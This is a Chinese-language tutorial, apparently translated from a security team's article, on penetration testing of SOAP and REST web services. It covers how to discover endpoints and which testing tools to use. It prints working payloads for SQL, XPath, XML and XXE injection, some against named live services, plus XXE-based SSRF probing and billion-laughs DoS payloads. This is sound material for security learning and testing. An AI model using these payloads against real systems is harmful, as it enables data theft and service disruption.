ref:https://www.anquanke.com/post/id/85910php
Web Service 滲透測試從入門到精通
發佈時間：2017-04-18 14:26:54css
翻譯：興趣使然的小胃github
1、Web Service的含義及使用範圍web
Web Service覆蓋的範圍很是普遍，在桌面主機、Web、移動設備等領域均可以見到它的身影。任何軟件均可以使用Web Service，經過HTTP協議對外提供服務。sql
在Web Service中，客戶端經過網絡向服務器發起請求，Web服務器按照適當的格式（好比JSON、XML等）返回應答數據，應答數據由客戶端提供給最終的用戶。數據庫
說起Web Service時，咱們首先須要解釋如下概念：apache
SOAP（Simple Object Access Protocol，簡單對象訪問協議）型Web Service。SOAP型的Web Service容許咱們使用XML格式與服務器進行通訊。api
REST（Representational State Transfer，表徵性狀態轉移）型Web Service。REST型Web Service容許咱們使用JSON格式（也可使用XML格式）與服務器進行通訊。與HTTP相似，該類型服務支持GET、POST、PUT、DELETE方法。安全
WSDL（Web Services Description Language，網絡服務描述語言）給出了SOAP型Web Service的基本定義，WSDL基於XML語言，描述了與服務交互的基本元素，好比函數、數據類型、功能等，少數狀況下，WSDL也能夠用來描述REST型Web Service。
WADL（Web Application Description Language，網絡應用描述語言）就像是WSDL的REST版，通常用於REST型Web Service，描述與Web Service進行交互的基本元素。
2、爲何寫這篇文章
BGA團隊專一於對機構、組織開放的Web應用、外部IP地址以及Web Service進行安全測試。
在滲透測試中，咱們看到Web Service的應用範圍愈來愈多廣，但人們在使用Web Service時，並無特別關注安全問題。出於這個緣由，人們部署的Web Service中常常會出現重大安全漏洞。
咱們將在本文中討論Web Service滲透測試工做中常常遇到的技術和邏輯相關問題。
3、如何發現Web Service
咱們可使用如下方式發現Web Service：
一、使用代理軟件，檢查所捕獲的數據。
二、經過搜索引擎探測Web應用程序暴露的接口（好比目錄遍歷漏洞、lfi（本地文件包含）等）。
三、爬取並解壓swf、jar等相似文件。
四、模糊測試。
可根據實際狀況選擇所使用的具體方法。
舉個例子，咱們可使用swf intruder工具，反編譯某個.swf文件，從中挖掘Web Service的WSDL地址，以下圖所示：
代理軟件能夠用來探測應用程序所使用的Web Service。
下圖是在BurpSuite中設定的過濾規則，用來篩選抓包數據中的Web Service地址。咱們能夠經過搜索與表達式相匹配的數據，探測諸如「.dll?wsdl」、「.ashx?wsdl」、「.exe?wsdl」或者「.php?wsdl」等等的Web Service地址。
探測Web Service的另外一種方法是使用搜索引擎，好比Google。好比，咱們能夠經過如下搜索語句在Google中找到Web Service：
Search string: filetype:asmx inurl:(_vti_bin | api | webservice | ws )
Search string: allinurl:dll?wsdl filetype:dll
對於Bing搜索引擎，咱們可使用如下語句查找Web Service：
asmx?wsdl site:us
咱們也可使用Wfuzz工具，查找Web Service，命令以下：
wfuzz -p 127.0.0.1:8080 -c --hc 404,XXX -z list,ws-webservice-webservisler -z file,../general/common.txt -z file,ws-files.txt http://webservices.example.com/FUZZ/FUZ2ZFUZ3Z
咱們能夠經過「-p」參數，同時使用多個代理，以達到負載均衡。最後使用的代理服務器地址將會在tor網絡中使用。
-p IP:port-IP:port-IP:8088
經過查看HTTP響應狀態代碼，從各個方面分析響應報文，咱們能夠找到正確的服務地址。根據上圖結果，咱們找到的Web Service以下圖所示：
「wsdl」地址有時候能夠是「.wsdl」，不必定都是「?Wsdl」形式。咱們在搜索時要注意到這一點。好比，咱們能夠經過以下搜索語句，探測Web Service：
filetype:wsdl
4、Web Service中的滲透測試工具
咱們能夠操縱Web Service方法的具體參數，挖掘其中存在的各類技術和邏輯漏洞。咱們可使用如下專業工具對常見的Web Service進行滲透測試。
好比，咱們能夠下載OWASP Zed Attack Proxy的SOAP Scanner插件，對SOAP型Web Service進行測試。
指定URL或WSDL地址，咱們能夠載入與Web Service相關的一些方法。
以下圖所示，咱們能夠看到與Web Service有關的全部方法。
例如，某個Web Service請求以下所示：
對應的響應以下所示：
此外，咱們還可使用Firefox的RESTClient插件對REST型的Web Service進行測試。經過RESTClient插件，咱們可使用POST和GET方法來查詢目標系統相關信息。咱們也可使用插件中的Basic Auth或自定義頭部等等其餘附加功能。以下所示：
簡單彙總一下，咱們可使用如下工具對Web Service進行滲透測試。
WebScarap
SoapUI
WCFStorm
SOA Cleaner
WSDigger
wsScanner
Wfuzz
RESTClient
BurpSuite
WS-Attacker
ZAP
Metasploit
WSDL Analyzer
咱們能夠合理搭配使用SoapUI以及BurpSuite這兩個工具，以得到很是完美的滲透測試結果。
與BurpSuite同樣，SoapUI工具能夠做爲代理使用，這也是這兩款工具在滲透測試中常用的緣由所在。
如今，舉個具體例子，說明咱們如何經過SoapUI訪問Web Service，並將請求轉發給BurpSuite。
首先啓動SoapUI軟件，建立一個新的SOAP工程。在「Initial WSDL」一欄填入WSDL地址（本例中，咱們可使用「http://zero.webappsecurity.com/webservices/infoService?wsdl」這個地址，該Web Service存在漏洞）。
以下圖所示，咱們已經成功導入Web Service。SoapUI對給定的WSDL地址進行解析，以建立Web Service函數及請求。
點擊「File->Preferences」菜單，打開「Proxy Settings」，指向BurpSuite的地址，以下所示：
若是後續請求中涉及函數列表中的任意函數，BurpSuite能夠成功捕獲這些請求。
5、Web Service滲透測試中可能會發現的漏洞
在這一部分，咱們將討論在Web Service滲透測試中可能會發現的漏洞。
若是咱們已知某個Web應用漏洞，且該漏洞在Web Service滲透測試中可能存在，那麼咱們應該在測試流程中將其考慮在內。
好比，在Web應用程序中存在的「用戶枚舉（User Enumeration）」漏洞或「全路徑泄露（Full Path Disclosure）」漏洞也可能在Web Service中存在。
5.1 Web Service中的注入漏洞
5.1.1 SQL注入漏洞
Web Service中的SQL注入（SQLi）漏洞與普通Web滲透測試中漏洞並沒有區別。
咱們須要仔細檢查Web Service中全部函數的全部參數，檢查它們是否受到SQLi漏洞影響。
咱們以「http://www.thomas-bayer.com/sqlrest/」這個RESTful Web Service爲例，分析該服務存在的SQLi漏洞。咱們使用Firefox中的RESTClient插件檢測SQLi漏洞。
咱們的目標是「http://www.thomas-bayer.com/sqlrest/CUSTOMER/$id」中的id參數，咱們能夠構造某些SQLi載荷，發往該地址，解析返回的結果。
正常的id值爲23，咱們使用的測試載荷爲：
23 AND 1=1
測試地址爲：
http://www.thomas-bayer.com/sqlrest/CUSTOMER/23%20AND%201=1/
返回結果爲：
咱們沒有看到任何錯誤頁面，貌似SQL服務器正確處理了這個請求邏輯。
更換測試載荷，以下所示。
23 AND 1=0
測試地址爲：
http://www.thomas-bayer.com/sqlrest/CUSTOMER/23%20AND%201=0
返回結果爲：
若是載荷不知足SQL查詢條件，服務器會返回404響應報文。
咱們發送以下載荷，並最終得到了服務器上的全部用戶名。
23 OR 1=1
測試地址：
http://www.thomas-bayer.com/sqlrest/CUSTOMER/23%20OR%201=1
包含用戶名的服務器響應以下：
咱們能夠經過這種方法，手動檢查SQLi漏洞。咱們能夠先向目標系統發送一段簡單載荷，檢查響應內容，肯定Web Service對應的函數是否存在SQLi漏洞。
5.1.2 XPath注入漏洞
XPath是服務端查詢以XML格式存儲的數據時所使用的查詢語言。
string(//user[username/text()='bga' and password/text()='bga']/account/text())
例如，對於上述查詢語句，若是發送的測試載荷爲「1 'and' 1 '=' 1 and 1 'and' 1 '=' 2」，那麼通過邏輯處理後，返回的響應爲「TRUE」，不然，返回的響應爲「FALSE」。
咱們以「https://github.com/snoopythesecuritydog/dvws/」爲例，分析該應用存在的XPATH注入漏洞。
開發者使用的應該是PHP語言，以下所示：
代碼中讀取的「accountinfo.xml」文件內容以下所示：
當咱們試圖使用「bga:1234」憑證登錄該頁面時，咱們看到以下的錯誤信息：
然而，咱們可使用「1' or '1' = '1」做爲用戶及密碼的輸入載荷，發現該頁面存在XPATH注入漏洞：
5.1.3 XML注入漏洞
XML是一種數據存儲格式，若是服務器在修改或查詢時沒有進行轉義處理，直接輸入或輸出數據，將會致使XML注入漏洞。攻擊者能夠篡改XML數據格式，增長新的XML節點，對服務端數據處理流程形成影響。
Input: 2
<product> <name>Computer</name> <count>2</count> <price>200$</price> </product>
上述XML中，咱們能夠在服務器應答包中的「count」節點找到請求中的輸入值。
若是咱們修改輸入值，那麼咱們能夠看到返回結果中，「price」節點的值已經被成功篡改。
Input: 2</count><price>0$</price></product> <product> <name>Computer</name> <count>2</count><price>0$</price></product> ...
5.1.4 XXE注入漏洞
XXE（XML External Entiry Injection，XML外部實體注入）漏洞是在對非安全的外部實體數據進行處理時所引起的安全問題。實體是XML文檔結構中定義的一個概念，能夠經過預約義在文檔中調用。利用XML提供的實體特性，攻擊者可使用XXE漏洞讀取本地文件。
XXE注入漏洞中，發往服務器的XML載荷以下所示：
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///dev/random" >]><foo>&xxe;</foo>
咱們以 「QIWI.ru」網站的SOAP型Web Service爲例，分析其中的XXE漏洞（該漏洞由某位安全研究人員發現，具體研究報告能夠參考此處資料）。
攻擊者發往「https://send.qiwi.ru/soapserver」地址的載荷爲：
POST /soapserver/ HTTP/1.1
Host: send.qiwi.ru
Content-Type: application/x-www-form-urlencoded
Content-Length: 254
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "https://bitquark.co.uk/?xxe">]> <SOAP-ENV:Envelope> <SOAP-ENV:Body> <getStatus> <id>&xxe;</id> </getStatus> </SOAP-ENV:Body> </SOAP-ENV:Envelope>
關於XXE漏洞的更多信息，讀者能夠參考這裏的相關資料。
5.2 Web Service中的控制問題
5.2.1 未受權訪問衝突
當咱們統計滲透測試的結果時，咱們會發現未受權訪問漏洞在Web Service中很是常見。主要的緣由在於開發人員不認爲未受權用戶是攻擊者，且理所固然認爲Web Service是一個足夠安全的環境。
爲了不這類漏洞存在，發往服務器的請求中必須包含令牌值或令牌信息（如用戶名及密碼信息）。
此外，與Web Service有關的全部函數都應該要求請求報文中包含用戶會話信息。
5.2.2 未限制函數使用範圍
Web Service中常見的一個問題就是不對函數的使用範圍進行限制。這會致使如下問題存在：
一、暴力破解攻擊
二、填充篡改數據庫
三、濫用服務器賦予用戶的權限
四、消耗服務器資源形成DDoS攻擊
5.3 Web Service中的業務邏輯漏洞
此類漏洞的存在緣由在於Web應用缺少標準，每一個開發人員所開發的Web應用各不相同。
所以，這是個漫長且無止境的話題。咱們能夠經過幾個例子來稍加說明。
好比，咱們來研究一下Twitter的RESTful Web Service中存在的漏洞（具體細節能夠參考這個報告）。
某個用戶刪除了Twitter上的一條私信（Direct Message，DM）。當他查看DM信息時，發現這條信息已再也不存在。然而，經過Twitter提供的REST命令行接口，咱們發現只要提供已刪除DM的id，咱們就能夠讀取這條DM信息，然而根據業務處理流程，這條DM此時並不該該存在。
Web Service中常常存在的另外一類問題就是，在服務器的最終應答報文中，包含客戶端先前請求報文中的某些信息，這種狀況在手機或平板應用中常常存在。
開發者之因此將密碼保存在設備本地中，就是但願用戶在每次登陸應用時，都向本地數據庫發起查詢，以免由於網絡緣由致使登陸失敗。
BGA團隊對移動或平板應用滲透測試時，發現某個服務器的密碼重置功能在返回給客戶端的響應報文中包含密碼信息，且該密碼會被存儲在設備本地中。
咱們對土耳其某個著名電子商務網站進行測試時，找到了移動和平板應用所使用的WSDL地址以及某個存在用戶信息泄露的函數。經過該函數接口，客戶端不只可以獲取目標用戶的郵件地址，甚至還能在響應消息中找到用戶的密碼信息。利用這種漏洞，攻擊者能夠竊取任何已知用戶的憑證。
這種敏感信息不該該在Web Service的應答報文中存在。有時候雖然攻擊者沒法從攻擊網站中獲取任何信息，他們卻能夠藉助移動或平板應用中Web Service漏洞，對整個系統形成危害。
5.4 Web Service中的會話重放漏洞
此類漏洞的存在緣由在於攻擊者對同一網絡上的用戶實施MITM（中間人）攻擊，從攔截的數據中嗅探用戶會話信息。
不安全的協議（好比基於HTTP的Web Service廣播）中會存在此類漏洞。Web Service能夠爲每一個用戶提供一個會話ID（Session ID，SID）來規避這種漏洞，另外一種解決辦法就是在容許用戶登陸的全部發往服務器的請求中都捎帶用戶會話信息。
對於沒有使用SSL的Web Service，若是會話的SID值被網絡中的其餘人獲取，則可能會受到會話重放攻擊影響。
5.5 Web Service中的SSRF漏洞
SSRF（Server-Side Request Forgery，服務端請求僞造）漏洞指的是攻擊者經過在服務端建立僞造的請求，以間接方式執行那些沒法從外部直接執行的操做。
例如，攻擊者能夠利用SSRF漏洞，探測服務器上某些沒法從外部掃描發現的端口信息。此外，攻擊者也能夠利用SSRF漏洞讀取服務器的本地文件、向另外一臺服務器發起DDoS攻擊、發起DNS查詢請求等。
以「https://github.com/snoopythesecuritydog/dvws/」爲例，咱們能夠利用該地址中存在的XXE漏洞，向某些內部地址發起請求並對響應報文進行分析。
當咱們點擊下圖中的「Print Greeting」按鈕時，咱們會收到服務器返回的一條信息。
經過BurpSuite，能夠看到咱們往服務器發送了一個帶有XML數據的請求。
咱們能夠用XXE攻擊載荷替換其中的XML數據，判斷服務器網絡中是否存在某臺主機。
在以下的攻擊載荷中，咱們使用了「192.168.1.10」地址，服務器本地網絡中並不存在使用該IP地址的主機。咱們將攻擊載荷發往存在SSRF漏洞的服務器。
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://192.168.1.10" >]><foo>&xxe;</foo>
由於沒法訪問此IP地址，服務器返回以下錯誤信息：
然而，若是咱們將載荷中的IP修改成「192.168.1.2」，服務器不會返回任何錯誤頁面，代表服務器能夠訪問該IP地址。
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "http://192.168.1.2" >]><foo>&xxe;</foo>
5.6 Web Service中的拒絕服務（DoS）漏洞
客戶端發送的XML數據會由服務端的XML解析器進行解析和處理。目前有兩類XML解析器，分別爲基於SAX（Simple API for XML）的XML解析器以及基於DOM（Document Object Model）的XML解析器。
基於SAX的解析器在工做時，內存中最多容納2個元素。在這種狀況下，基於SAX的解析器不會存在拒絕服務問題。
基於DOM的解析器會一次性讀取客戶端存儲的全部XML數據。所以會致使內存中存在龐大的對象數據。這種狀況下，咱們難以免拒絕服務器攻擊。致使這種漏洞存在的緣由在於咱們沒有檢查XML中節點的大小和數量。
例如，攻擊者可使用以下載荷發起針對元素名稱的攻擊。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header/> <soapenv:Body> <TEST> <BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA………BGABGABGABGABGABGABGABGABGABGA> </TEST> </soapenv:Body> </soapenv:Envelope>
攻擊者可使用以下載荷發起針對元素屬性的攻擊。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header/> <soapenv:Body> <TEST> <BGA attribute=」BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA………BGABGABGABGABGABGABGABGABGABGA」></BGA> </TEST> </soapenv:Body> </soapenv:Envelope>
攻擊者可使用以下載荷發起針對元素個數的攻擊（也能夠經過重複某個特定元素達到一樣效果）。
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header/> <soapenv:Body> <TEST> <BGA attribute1=」BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...BGABGABGABGABGABGABGABGABGABGA」 attribute2=」BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...BGABGABGABGABGABGABGABGABGABGA」 attribute3=」BGABGABGABGABGABGABGABGABGABGABGABGABGABGABGABGA...BGABGABGABGABGABGABGABGABGABGA」></BGA> </TEST> </soapenv:Body> </soapenv:Envelope>
當XXE攻擊奏效時，也能夠引起服務拒絕漏洞。
攻擊者可使用以下載荷發起DDoS攻擊。
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE bga [ <!ELEMENT ANY > <!ENTITY bga1 "bga1"> <!ENTITY bga2 "&bga1;&bga1;&bga1;&bga1;&bga1;&bga1;"> <!ENTITY bga3 "&bga2;&bga2;&bga2;&bga2;&bga2;&bga2;"> <!ENTITY bga4 "&bga3;&bga3;&bga3;&bga3;&bga3;&bga3;"> <!ENTITY bga5 "&bga4;&bga4;&bga4;&bga4;&bga4;&bga4;"> <!ENTITY bga6 "&bga5;&bga5;&bga5;&bga5;&bga5;&bga5;"> ]> <bga>&bga6;</bga>
從載荷中可知，攻擊者定義了一些XML實體，並在最後引用了bga6實體。bga6實體引用了6次bga5實體，一樣，每一個bga5實體也引用了6次bga4實體，以此類推。
當發往服務端的載荷中這類實體的數量和引用次數很是巨大時，服務端的XML解析器負載將大大提升，致使服務器在一段時間內沒法響應客戶端請求，最終達到拒絕服務攻擊效果。